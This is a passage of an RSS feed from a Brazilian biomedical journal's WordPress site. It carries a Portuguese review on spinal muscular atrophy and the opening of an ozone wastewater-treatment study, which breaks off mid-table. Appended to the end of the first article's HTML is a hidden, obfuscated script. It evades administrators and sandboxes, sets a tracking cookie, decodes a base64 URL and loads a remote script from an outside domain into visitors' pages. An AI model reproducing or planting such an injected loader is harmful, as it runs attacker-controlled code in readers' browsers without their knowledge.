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	<title>Biomedicina &#8211; ISSN 1678-0817 Qualis/DOI</title>
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	<description>Revista Científica de Alto Impacto.</description>
	<lastBuildDate>Thu, 12 Mar 2026 09:59:02 +0000</lastBuildDate>
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	<title>Biomedicina &#8211; ISSN 1678-0817 Qualis/DOI</title>
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	<item>
		<title>ABORDAGEM BIOMÉDICA DA ATROFIA MUSCULAR ESPINHAL: UMA REVISÃO DE LITERATURA</title>
		<link>https://revistaft.com.br/abordagem-biomedica-da-atrofia-muscular-espinhaluma-revisao-de-literatura/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Wed, 11 Feb 2026 15:08:41 +0000</pubDate>
				<category><![CDATA[Biomedicina]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202602111205 Rubiane Gomes de Barros¹Orientadora: Profa. Andréa Ramos Rocha² RESUMO A Atrofia Muscular Espinhal (AME) é uma doença genética rara, de herança autossômica recessiva, caracterizada pela degeneração progressiva dos neurônios motores alfa localizados na medula espinhal, resultando em hipotonia, fraqueza muscular e comprometimento de funções vitais como respiração e deglutição. O presente estudo [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202602111205</p>



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<p class="has-text-align-right wp-block-paragraph">Rubiane Gomes de Barros¹<br>Orientadora: Profa. Andréa Ramos Rocha<sup>²</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">A Atrofia Muscular Espinhal (AME) é uma doença genética rara, de herança autossômica recessiva, caracterizada pela degeneração progressiva dos neurônios motores alfa localizados na medula espinhal, resultando em hipotonia, fraqueza muscular e comprometimento de funções vitais como respiração e deglutição. O presente estudo tem como objetivo revisar, à luz da Biomedicina, os aspectos genéticos, fisiopatológicos, diagnósticos e terapêuticos relacionados à AME, com foco na contribuição dos avanços científicos e tecnológicos para o diagnóstico precoce e o desenvolvimento de tratamentos inovadores. Realizou-se uma revisão da literatura, com abordagem qualitativa, por meio da análise de artigos publicados em bases científicas como PubMed, Scielo, BIREME e Google Scholar, entre os anos de 2020 e 2025. Os dados revelam que a AME é causada principalmente pela mutação ou deleção do gene SMN1, com variações fenotípicas moduladas pelo número de cópias do gene SMN2. O diagnóstico genético molecular é essencial para a confirmação da doença, além de fornecer subsídios para o prognóstico. O tratamento tem avançado com o uso de terapias gênicas e medicamentos modificadores do RNA, mas a doença ainda carece de cura definitiva. A Biomedicina, por sua natureza interdisciplinar, tem papel fundamental tanto no diagnóstico preciso quanto na investigação de novas terapias e suporte multidisciplinar aos pacientes. </p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Atrofia Muscular Espinhal. Biomedicina. Diagnóstico Molecular. SMN1. Terapia Gênica.</p>



<p class="wp-block-paragraph"><strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A Atrofia Muscular Espinhal (AME) é uma doença neuromuscular hereditária caracterizada pela perda progressiva de neurônios motores localizados no corno anterior da medula espinhal. Essa degeneração causa fraqueza muscular simétrica e hipotonia,levando à atrofia muscular, insuficiência respiratória e,em muitos casos, à morte precoce. Trata-se de uma doença rara, com prevalência estimada em um a cada 6.000 a 10.000 nascimentos vivos, e incidência global de aproximadamente um a cada 40 a 50 indivíduos portadores do alelo mutado do gene SMN1 (Sales;Soliani; Sanches, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Do ponto de vista biomédico, a AME representa um modelo paradigmático de como as alterações genéticas podem-se manifestar com grande impacto neurológico e motor. Os avanços no conhecimento genético e molecular da doença possibilitaram o desenvolvimento de testes diagnósticos específicos e de terapias com base em modificação genética, sendo uma das poucas doenças genéticas com terapias modificadoras da progressão disponíveis.&nbsp;</p>



<p class="wp-block-paragraph">Neste contexto, o presente trabalho visa integrar os principais conhecimentos sobre a AME sob a perspectiva da Biomedicina, discutindo sua fisiopatologia, as técnicas de diagnóstico laboratorial utilizadas, bem como os avanços terapêuticos e as limitações atuais, enfatizando a importância do biomédico no processo diagnóstico, de pesquisa e de apoio terapêutico.&nbsp;</p>



<p class="wp-block-paragraph"><strong>OBJETIVO&nbsp;</strong></p>



<p class="wp-block-paragraph">Revisar a literatura científica com ênfase biomédica sobre a Atrofia Muscular Espinhal, abordando seus aspectos genéticos, fisiopatológicos, diagnósticos laboratoriais e terapêuticos, com destaque para os avanços em farmacogenética e biotecnologia no manejo clínico da doença.&nbsp;</p>



<p class="wp-block-paragraph"><strong>METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Trata-se de uma revisão da literatura, com abordagem qualitativa e descritiva. Foram selecionados artigos científicos, revisões sistemáticas e documentos técnicos publicados entre 2020 e 2025, disponíveis nas bases de dados PubMed, Scielo, BIREME e Google Scholar. Utilizaram-se os descritores: “Atrofia Muscular&nbsp;Espinhal”, “SMN1”, “Diagnóstico Molecular”, “Terapia Gênica” e “Biomedicina”. Foram priorizados materiais em português e inglês que abordassem aspectos biomoleculares, diagnóstico laboratorial, farmacoterapia e perspectivas terapêuticas.</p>



<p class="wp-block-paragraph"><strong>RESULTADOS E DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A AME é causada principalmente por mutações ou deleções homozigóticas no gene SMN1 (Survival of Motor Neuron 1), localizado no braço longo do cromossomo 5 (5q13). Este gene é responsável pela produção da proteína SMN, essencial para a sobrevivência e funcionamento dos neurônios motores. Indivíduos afetados geralmente possuem também o gene SMN2, que é funcionalmente deficiente, pois sua transcrição exclui o éxon 7 em 90% dos casos, gerando uma forma truncada e instável da proteína (Aslesh; Yokota, 2022).&nbsp;</p>



<p class="wp-block-paragraph">O número de cópias do SMN2 é inversamente proporcional à gravidade da doença, sendo utilizado como fator prognóstico: indivíduos com mais cópias geralmente apresentam formas menos severas (tipos 3 e 4), enquanto pacientes com poucas cópias (1 ou 2) tendem a desenvolver AME tipo 1, a forma mais letal (Alves et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">A degeneração dos neurônios motores leva a um conjunto de manifestações clínicas, incluindo hipotonia, fasciculações, dificuldade de sucção, deglutição e respiração, escoliose e infecções respiratórias de repetição. A morte neuronal é irreversível, o que torna o diagnóstico precoce e o tratamento imediato essenciais para preservar a função motora (Sales; Soliani; Sanches, 2022).&nbsp;</p>



<p class="wp-block-paragraph">O diagnóstico da AME é realizado por meio da análise genética, com destaque para a técnica de PCR em tempo real (qPCR) e MLPA (Multiplex Ligation- dependent Probe Amplification), que permitem a identificação da deleção homozigótica do gene SMN1 e a quantificação das cópias de SMN2 (Prior; Leach; Finanger, 2024). Estas metodologias são fundamentais para confirmar o diagnóstico e orientar as decisões terapêuticas.&nbsp;</p>



<p class="wp-block-paragraph">Do ponto de vista laboratorial, biomarcadores secundários como CK (creatina quinase), função respiratória e avaliação de mobilidade são úteis para o acompanhamento da progressão da doença e resposta ao tratamento. Em centros de pesquisa, também se investiga a presença de biomarcadores moleculares e metabólicos para identificação precoce em programas de triagem neonatal (Alves et al., 2024). O papel do biomédico se destaca na execução e interpretação de exames genéticos, no aconselhamento familiar em parceria com geneticistas e na pesquisa translacional para identificação de novos alvos terapêuticos (Prior; Leach; Finanger, 2024).&nbsp;</p>



<p class="wp-block-paragraph">A AME foi historicamente uma doença sem opções terapêuticas efetivas, restrita a cuidados paliativos. No entanto, a última década foi marcada por avanços significativos, com o desenvolvimento de terapias gênicas e moduladoras do RNA (Aslesh; Yokota, 2022). Os principais fármacos atualmente aprovados incluem:&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Nusinersena (Spinraza®): oligonucleotídeo antissenso administrado por via intratecal, promove a inclusão do éxon 7 no RNA do gene SMN2, elevando os níveis de proteína SMN. Onasemnogeno abeparvoveque (Zolgensma®): terapia gênica de dose única por infusão intravenosa, que introduz uma cópia funcional do gene SMN1 utilizando vetor viral AAV9.Risdiplam (Evrysdi®): modulador oral do splicing do RNA do SMN2, com indicação para os tipos 1, 2 e 3 da doença (Rodrigues et al., 2022, p. 141).&nbsp;</p>
</blockquote>



<p class="wp-block-paragraph">Apesar da eficácia comprovada, essas terapias possuem custos extremamente elevados e não estão amplamente disponíveis no sistema público de saúde, o que compromete a equidade no tratamento (Sales; Soliani; Sanches,2022).&nbsp;</p>



<p class="wp-block-paragraph">Além dos tratamentos baseados em SMN, diversas abordagens “não-SMN” estão sendo investigadas, como o uso de neuroprotetores, agentes antiinflamatórios, estimuladores de regeneração muscular e terapias com células-tronco. A terapia combinada, utilizando medicamentos que atuam em vias complementares, representa uma perspectiva promissora (Rodrigues et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">A AME demanda uma abordagem multidisciplinar, envolvendo fisioterapia respiratória e motora, acompanhamento nutricional, terapia ocupacional, fonoaudiologia e suporte psicológico. A Biomedicina, além do diagnóstico molecular, tem papel essencial na investigação de novas terapias e no monitoramento de biomarcadores.&nbsp;</p>



<p class="wp-block-paragraph"><strong>CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">A Atrofia Muscular Espinhal é uma doença genética grave e complexa, que impõe desafios ao diagnóstico precoce, ao acesso à terapêutica e à manutenção da qualidade de vida dos pacientes. A atuação do profissional biomédico é central em todas as etapas — desde a confirmação diagnóstica por técnicas de biologia molecular, até a colaboração em pesquisa clínica e desenvolvimento de novas estratégias terapêuticas.&nbsp;</p>



<p class="wp-block-paragraph">Os avanços científicos vêm promovendo uma revolução no tratamento da&nbsp;AME, mas a equidade no acesso e a efetiva implementação das terapias ainda são desafios significativos. Investimentos em pesquisa translacional, programas de triagem neonatal e políticas públicas de acesso são fundamentais para transformar a trajetória dos pacientes com AME no Brasil. A reportagem exibida , em 18 de maio de 2025, trouxe maior visibilidade à Atrofia Muscular Espinhal, destacando seu caráter raro, genético e degenerativo. A matéria abordou o impacto transformador do Zolgensma — uma terapia gênica inovadora — na vida de crianças diagnosticadas com AME, mas também evidenciou os desafios relacionados ao seu elevado custo, que chega a milhões de reais. Além disso, destacou a luta constante das famílias para garantir o acesso ao tratamento pelo Sistema Único de Saúde (SUS), que recentemente incorporou a medicação. Esse cenário reforça a necessidade urgente de políticas públicas mais robustas, capazes de garantir equidade no acesso às terapias avançadas, assegurando que inovações científicas beneficiem efetivamente toda a população.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ALVES, Jacqueline Sanae Okasaki Padellaetal. Uma análise da atrofia muscular espinhal.<strong>RevistaEletrônicaAcervo Saúde</strong>, v.24,n.4,p.e15591-e15591,2024.&nbsp;</p>



<p class="wp-block-paragraph">ASLESH T, YOKOTA T. <strong>Restoring SMN Expression: </strong>An Overview of the TherapeuticDevelopmentsfortheTreatmentofSpinalMuscularAtrophy. Cells, 2022; 11(3): 417.&nbsp;</p>



<p class="wp-block-paragraph">PRIOR TW, LEACH ME, FINANGER EL. <strong>Atrofia Muscular Espinhal</strong>. 19 de setembrode2024editores. Gene Reviews® [Internet]. Seattle (WA): Universidade de Washington, Seattle; 1993-2025.&nbsp;</p>



<p class="wp-block-paragraph">RODRIGUES, Vídia Karine Souza et al. Aspectos clínicos, terapêuticos e medicamentos da atrofia muscular espinhal (AME): uma revisão integrativa da literatura. Revista JRG Estudos Acadêmicos, v.5, n.11, p.134-146, 2022.&nbsp;</p>



<p class="wp-block-paragraph">SALES, Cecilia Maria Prates; SOLIANI, F.C.B.G.; SANCHES, Ana Cláudia Soncini.&nbsp;Farmacoterapia da atrofia muscular espinhal. <strong>Inst</strong>, v. 40, n. 2, p. 119-26, 2022.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discente do curso de Biomedicina da Faculdade Anhanguera de Pelotas.<br><sup>2</sup>Orientadora: Prof. do curso de Biomedicina da Faculdade Anhanguera de Pelotas.</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>OZÔNIO: SOLUÇÃO TECNOLÓGICA AMBIENTAL PARA MALES OCULTOS</title>
		<link>https://revistaft.com.br/ozonio-solucao-tecnologica-ambiental-para-males-ocultos/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 22 Jan 2026 15:34:43 +0000</pubDate>
				<category><![CDATA[Biomedicina]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202601221233 Sílvia Mara Haluch1Flávia Caroline Haluch2 RESUMO:&#160; Vivemos constantemente sendo bombardeados por contaminantes químicos, biológicos e físicos de diversas fontes. Esses poluentes geram efeitos deletérios graves e mortais e chegam em todos os compartimentos do planeta, aos quais se incluem, seres humanos, animais, plantas e todas as cadeias do ecossistema. Dos poluentes relevantes [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202601221233</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Sílvia Mara Haluch<sup>1</sup><br>Flávia Caroline Haluch<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO:&nbsp;</strong></p>



<p class="wp-block-paragraph">Vivemos constantemente sendo bombardeados por contaminantes químicos, biológicos e físicos de diversas fontes. Esses poluentes geram efeitos deletérios graves e mortais e chegam em todos os compartimentos do planeta, aos quais se incluem, seres humanos, animais, plantas e todas as cadeias do ecossistema. Dos poluentes relevantes podemos citar os microrganismos de alta resistência e os medicamentos que são lançados nos rios e oceanos por fontes antrópicas. A Organização Mundial da Saúde torna público, em seus relatórios, a realidade assustadora de bactérias multi e Panresistentes a diversos medicamentos, gerando alta taxa de letalidade em todos os países. Esses organismos podem chegar aos humanos por diversas fontes e gerar patologias de alta gravidade, pois não há terapias medicamentosas devido ao fenômeno de resistência microbiana, causado pela maioria das vezes pelo contato dos fármacos lançados ao meio ambiente. Por isso, soluções tecnológicas são um apelo internacional. Esse trabalho relata o uso de ozônio, no intuito de eliminar organismos patogênicos e concomitantemente, clivar compostos de fármacos em resíduos líquidos/solução preparada. Nos testes realizados o ozônio foi eficaz em eliminar as bactérias&nbsp; <em>Escherichia coli</em> NCTC 12241 e Salmonela entérica, cepa <em>Salmonela</em> sorotipo <em>thyphimurium</em> NCTC<sup>®</sup> 12023 em apenas 1 hora em solução isenta de sólidos e em 3 horas em soluções contendo sólidos suspensos. Para os fármacos testados, Paracetamol foi eliminado em 3 horas, Dipirona em 4 horas, azitromicina, amoxicilina, cefalexina e diclofenaco em 5 horas. Portanto, o uso de ozônio a 5 g/H/L foi altamente eficaz contra males ocultos e altamente disseminados em efluentes domésticos e industriais, sendo uma solução tecnológica de alta performance para o atendimento dos ODS – Objetivos de Desenvolvimento sustentável, levando saúde para todos e preservando o meio ambiente.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras Chave:</strong> fármacos, resistência microbiana, efluentes, Enterobacteriaceae, saúde.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT: </strong>We constantly live being bombarded by chemical, biological, and physical contaminants from various sources. These pollutants generate severe and deadly effects and reach all compartments of the planet, including humans, animals, plants, and all ecosystem chains. Among these serious pollutants, we can mention highly resistant microorganisms and drugs that are released into rivers and oceans from anthropogenic sources. Among these serious pollutants, we can mention highly resistant microorganisms and drugs that are released into rivers and oceans by anthropogenic sources. The World Health Organization publicly reports, in its reports, the alarming reality of multi- and pan-resistant bacteria to various medications, resulting in a high death rate in all countries. These organisms can reach humans through various sources and generate severe pandemics, as there are no drug therapies available due to the phenomenon of microbial resistance, which is most often caused by the contact of drugs released into the environment. Therefore, technological solutions are an international appeal. This study reports the use of ozone with the aim of eliminating pathogenic organisms and, at the same time, cleaving drug compounds in liquid waste. In the tests carried out, ozone was effective in eliminating the bacteria <em>Escherichia coli</em> NCTC 12241 and Salmonella enterica, <em>Salmonella serotype Typhimurium strain</em> NCTC® 12023 in just 1 hour in a solids-free solution and in 3 hours in solutions containing suspended solids. For the drugs tested, Paracetamol was eliminated in 3 hours, Dipyrone in 4 hours, and azithromycin, amoxicillin, cephalexin, and diclofenac in 5 hours. Therefore, the use of ozone at 5 g/H/L was highly effective against hidden and widely spread contaminants in domestic and industrial effluents, being a technological solution of high relevance for achieving the SDGs – Sustainable Development Goals, bringing health to all and preserving the environment.</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: drugs, microbial resistance, effluents, Enterobacteriaceae, health.</p>



<p class="wp-block-paragraph"><strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">Constantemente estamos sendo bombardeados por poluentes oriundos de diversas fontes, como atmosféricas, aquáticas, alimentícias, laboral e acidental (Leithold et al., 2017; Duarte et al., 2022). Esses poluentes são de características químicas, físicas e biológicas, que podem produzir efeitos deletérios gravíssimos em todos os compartimentos do planeta, aos quais incluem, água, solo, atmosfera, seres humanos, outros animais, plantas, ou seja, grupos da cadeia alimentar e ecossistema (PAHO, 2023; Haluch et al., 2023<sup>c,d,e</sup> WHO, 2017).</p>



<p class="wp-block-paragraph">Tantos componentes químicos, físicos e biológicos possuem uma capacidade em impactar seres vivos, pois possuem uma especialidade de mecanismos de entrada, como solubilidade, grupos orgânicos facilitadores de atravessar membranas, características voláteis, miscíveis e outros, que constituem a fonte de diversas patologias de interesse clínico médico e veterinário (Haluch, 2019 <sup>a, b</sup>; WHO,2005).</p>



<p class="wp-block-paragraph">A partir de 2017, a OMS – Organização Mundial da Saúde, traz ao mundo uma nova preocupação que até então estava inerte e foi reforçada pós Pandemia de SARS – COV19, que chamamos fenômeno da resistência microbiana, que é em resumo, a versatilidade de microrganismos em resistir a ação de substâncias e medicamentos, prevalecendo em todos os compartimentos ambientais e células, ocasionando patologias intratáveis (Haluch et al., 2020; OMS, 2017; ANVISA, 2013; WHO, 2005).</p>



<p class="wp-block-paragraph">A OMS listou portanto, os organismos mais críticos devido ao perfil de letalidade e resistência, sendo o filo Proteobactérias, classe Gamaproteobactérias, família Enterobacteriaceae de grande interesse científico e farmacêutico, como por exemplo, <em>Klebsiella pneumoniae</em>, <em>Escherichia coli</em>, <em>Enterobacter spp</em>, <em>Serratia spp</em>, <em>Proteus spp, Providencia spp </em>e <em>Morganella spp</em> que são citadas constantemente em relatórios internacionais. (PAHO, 2023; WHO, 2017, OMS, 2017).</p>



<p class="wp-block-paragraph">Os primeiros mecanismos de resistência, na maioria das vezes, se inicia no contato do microrganismo com um fármaco e a percepção de um ambiente hostil, dando gatilho na busca defesas, sendo em primeiro plano, bloquear e expulsar a substância deletéria de sua célula e depois buscar a mudança em seu código genético de várias formas no intuito de perpetuar e se adaptar (Haluch, 2019ª<sup>,b</sup>; Tortora, 2017).</p>



<p class="wp-block-paragraph">Portanto, a resistência a antibióticos e a diversidade de microrganismos altamente especializados, pode ser considerada como uma resposta de exposição aos fármacos pelo contato no ecossistema aquático (Leithold et al., 2017; Haluch, 2019ª<sup>,b</sup>; Tortora, 2017). Dejetos antrópicos sempre acabam chegando aos rios e aos oceanos causando efeitos indesejáveis (Xie et al., 2016; 2017; 2018).&nbsp;</p>



<p class="wp-block-paragraph">Os tratamentos desses resíduos ocultos atualmente são ineficazes e os mesmos acabam perpetuando por longos períodos acarretando a resistência microbiana (Haluch et al., 2023<sup>D</sup>;<sup> </sup>Sapers et al., 1998). Por esse fato, tanto os fármacos quanto os microrganismos especializados são contaminantes graves, que necessitam de soluções ambientais e um apelo aos cientistas para a busca de garantir um ambiente seguro e saudável.&nbsp;</p>



<p class="wp-block-paragraph">Uma solução tecnológica é a aplicação de Estação de Ozônio. O Ozônio (O<sub>3</sub>) é uma substância gasosa derivada do alótropo do Oxigênio (O<sub>2</sub>), possuindo uma característica altamente oxidante, sendo portanto, um dos processos de oxidação e esterilização mais eficientes em relação a agentes como cloro, quaternários de amônio e outros (Sapers et al., 1998; Oller et al., 2011; Kurmiawan et al., 2006; Hassemer et al., 2002; Langlais et al., 1991; Perchonok et al., 2005).</p>



<p class="wp-block-paragraph">O sucesso do ozônio em estações de tratamento de efluentes industriais e domésticos, consiste na fragmentação das ligações duplas e triplas entre carbonos e alterar ou desestruturar paredes membranosas de diversos microrganismos (Reynolds et al., 1989; Perchonok et al., 2005; Luis et al., 2013; Anzoli et al, 2018; Duarte et al., 2022; Oller et al., 2011; Languais et al., 1991; Kurniawan et al., 2006; Hassemer et al.,2002; Amorin et al., 2009; Eltech, 1998).</p>



<p class="wp-block-paragraph">O ozônio em alguns países é utilizado como processo de tratamento de água potável (Bocci, 2005; Luis et al., 2013; Lima et al., 2021; Duarte et al., 2022). Em contato com a água, o processo inicia com a formação de íons hidroxila – OH<sup>&#8211;</sup>,&nbsp; radicais hidroperoxil e superóxido, que participam de diversas reações em cadeia, culminando na degradação e oxidação da matéria orgânica e outros compostos indesejáveis (Ukuku et al., 2012). Além dos íons, o ozônio também participa e reage clivando hidrocarbonetos (Duarte et al., 2022; Reynolds et al., 1989) e em meio alcalino a sua ação se intensifica podendo atuar como meio de arraste (<em>striping), </em>movendo compostos voláteis para a atmosfera gasosa (Duarte et al., 2022; Oliveira et al., 2018; Lima et al., 2021).</p>



<p class="wp-block-paragraph">Devido a característica química a reação é termodinamicamente espontânea, porém cineticamente lenta, por isso, requer um tempo de permanência estendidas para alcançar o fim pretendido, necessitando estudos caso a caso. Quanto maior a capacidade do gerador, acoplamentos de concentradores de oxigênio, uso de ultravioleta, contando com a característica do material a ser tratado, maior eficiência no poder oxidativo (Amorin et al., 2009; Hassemer et al.,2002; Oller et al., 2011).</p>



<p class="wp-block-paragraph">Dessa forma, o uso do ozônio pode ser a chave para o sucesso em estações de tratamento de efluentes domésticos ou industriais, com uso duplo, quebrando moléculas de fármacos e eliminando microrganismos de interesse clínico, sendo uma solução de alta performance contra os poluentes persistentes e ocultos, evitando inclusive, novas pandemias e atendendo os ODS – Objetivos de desenvolvimentos sustentável.&nbsp;</p>



<p class="wp-block-paragraph"><strong>MATERIAIS E MÉTODOS</strong></p>



<p class="wp-block-paragraph"><strong>Solução teste microbiológica&nbsp;</strong></p>



<p class="wp-block-paragraph">A solução teste microbiológica visa expor bactérias de alta importância médica e foram selecionadas de acordo com a patologia a Enterobactéria que é tida como indicadora de contaminação fecal: <em>E. coli</em> Enteropatogênica, que causam gastroenterites graves, infecções generalizadas e até sepse. Outra bactéria de alta relevância é a <em>Salmonela sp </em>que causa a Salmonelose.&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, as bactérias utilizadas foram a <em>Escherichia coli</em> NCTC 12241 (WDCM 00013) e Salmonela entérica, cepa <em>Salmonela</em> sorotipo <em>thyphimurium</em> NCTC<sup>®</sup> 12023 (WDCM 00031), ambas são material de referência certificado de acordo com a NBR ISO 17034 e 17025 da Empresa Control-lab. A solução teste foi contaminada com colônias coletadas com alça de platina e transferida para água deionizada salinizada e estéril, no intuito de gerar pelo menos 10<sup>4</sup> UFC/mL.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Solução teste de fármacos&nbsp;</strong></p>



<p class="wp-block-paragraph">A solução teste de fármacos foi preparada com mistura de medicamentos de MRCs &#8211; Materiais de referência certificados, ou seja, acreditados segundo a NBR ISO 17025, 17034 e Guia 31. Foram adquiridos as substâncias com maiores usos no Brasil, sendo o Paracetamol código DRE-C15846000 (marca LGC– DR-EHRENSTORFER),&nbsp; Azitromicina código Y0000306 (marca EDQM – European Pharmacopoeia), amoxicilina DRE-C10242500 (marca LGC – DR-EHRENSTORFER), Cefalexina monohidratada G984299 (marca LGC – DR-EHRENSTORFER), dipirona – metamizolsódico, DRE-C14942000 (marca LGC – DR-EHRENSTORFER) e o diclofenaco sódico DRE-C12537500 (marca LGC– DR-EHRENSTORFER). A preparação zelou para que na solução teste iniciasse pelo menos com 10 µg.L<sup>-1 </sup>de cada componente.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ANÁLISES FÍSICO E QUÍMICAS</strong></p>



<p class="wp-block-paragraph">A análise de pH– Potencial Hidrogeniônico&nbsp; foi realizada pelo pHmetro Bel seguindo o método SM 4500-PH. Análise de Turbidez foi realizada no equipamento PF12 NM seguindo o método SM 2130 e análise de Sólidos suspensos totais (SST) foi realizada na balança Bioprecisa seguindo o método SM 2540-D (APHA, 2023).&nbsp;</p>



<p class="wp-block-paragraph">A análise dos fármacos seguiu a técnica de Cromatografia gasosa (CG) pelo uso de detector FID (<em>flame ionization detector</em>), HP 5890 série II, coluna DB 5 30 m, 0,25 mm/ 0,25 micro, temperatura injetor de 200º C, Temperatura detector de 250º C, Gás de arraste Nitrogênio, rampa Início de 50º C por 5 minutos, 10ºC/min até 100ºC, 15º C/min até 250º C por 10 minutos e o solvente extrator foi o diclorometano PA.</p>



<p class="wp-block-paragraph"><strong>ANÁLISES MICROBIOLÓGICAS&nbsp;</strong></p>



<p class="wp-block-paragraph">As análises biológicas seguiram os protocolos de boas práticas laboratoriais. Foram utilizados os meios de cultivo Mac Conkey, EMB – eosina azul de metileno, agar Salmonela/Shiguela (SS). Os meios sólidos foram confeccionados em placas de petri 90&#215;15, com autoclavação por 15 minutos em 121<sup>o</sup> C para Enterobacterias e o meio SS apenas dissolução em chapa a 100<sup>o</sup> C. A incubação seguiram na temperatura de 35 ±0,5<sup>o</sup> C por 48 horas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>TESTE PILOTO LABORATORIAL&nbsp;</strong></p>



<p class="wp-block-paragraph">Os testes foram realizados usando o padrão de 1 litro de solução para um gerador de 5g/H de O<sub>3</sub> e dispersor para simulação de micro e nano bolhas, sendo portanto, 5g O<sub>3</sub>/ H/ L.&nbsp;</p>



<p class="wp-block-paragraph"><strong>AMOSTRA TESTE REAL</strong></p>



<p class="wp-block-paragraph">O efluente real testado é oriundo de fonte hospitalar, coletado segundo os padrões de Standard Methods (APHA, 2023).&nbsp;</p>



<p class="wp-block-paragraph"><strong>RESULTADOS E DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A tabela 01 abaixo, traz os resultados dos testes das soluções preparadas no laboratório contendo fármacos e bactérias inoculadas, sendo identificada como bruto, que é a condição inicial antes da dispersão de ozônio até 5 horas de exposição.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 01</strong>: Resultados dos testes da solução preparada antes e depois da dispersão de ozônio.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td>Parâmetros</td><td>Solução preparada(bruto)</td><td>Após 1 hora de exposição</td><td>Após 2 horas de exposição</td><td>Após 3 horas de exposição</td><td>Após 4 horas de exposição</td><td>Após 5 horas de exposição</td></tr><tr><td>Paracetamol&nbsp; (µg.L<sup>-1</sup>)</td><td>9,2</td><td>3,1</td><td>2,2</td><td>&lt;1,0</td><td>&lt;1,0</td><td>&lt;1,0</td></tr><tr><td>Dipirona&nbsp; (µg.L<sup>-1</sup>)</td><td>9,6</td><td>8,3</td><td>5,1</td><td>3,0</td><td>&lt;1,0</td><td>&lt;1,0</td></tr><tr><td>Azitromicina (µg.L<sup>-1</sup>)</td><td>10,1</td><td>9,2</td><td>9,0</td><td>8,6</td><td>2,9</td><td>&lt;1,0</td></tr><tr><td>Amoxicilina (µg.L<sup>-1</sup>)</td><td>9,7</td><td>9,5</td><td>9,3</td><td>8,4</td><td>1,8</td><td>&lt;1,0</td></tr><tr><td>Cefalexina (µg.L<sup>-1</sup>)</td><td>9,9</td><td>9,3</td><td>9,0</td><td>8,7</td><td>2,4</td><td>&lt;1,0</td></tr><tr><td>Diclofenaco (µg.L<sup>-1</sup>)</td><td>10,2</td><td>9,9</td><td>9,0</td><td>4,2</td><td>1,6</td><td>&lt;1,0</td></tr><tr><td><em>Salmonela 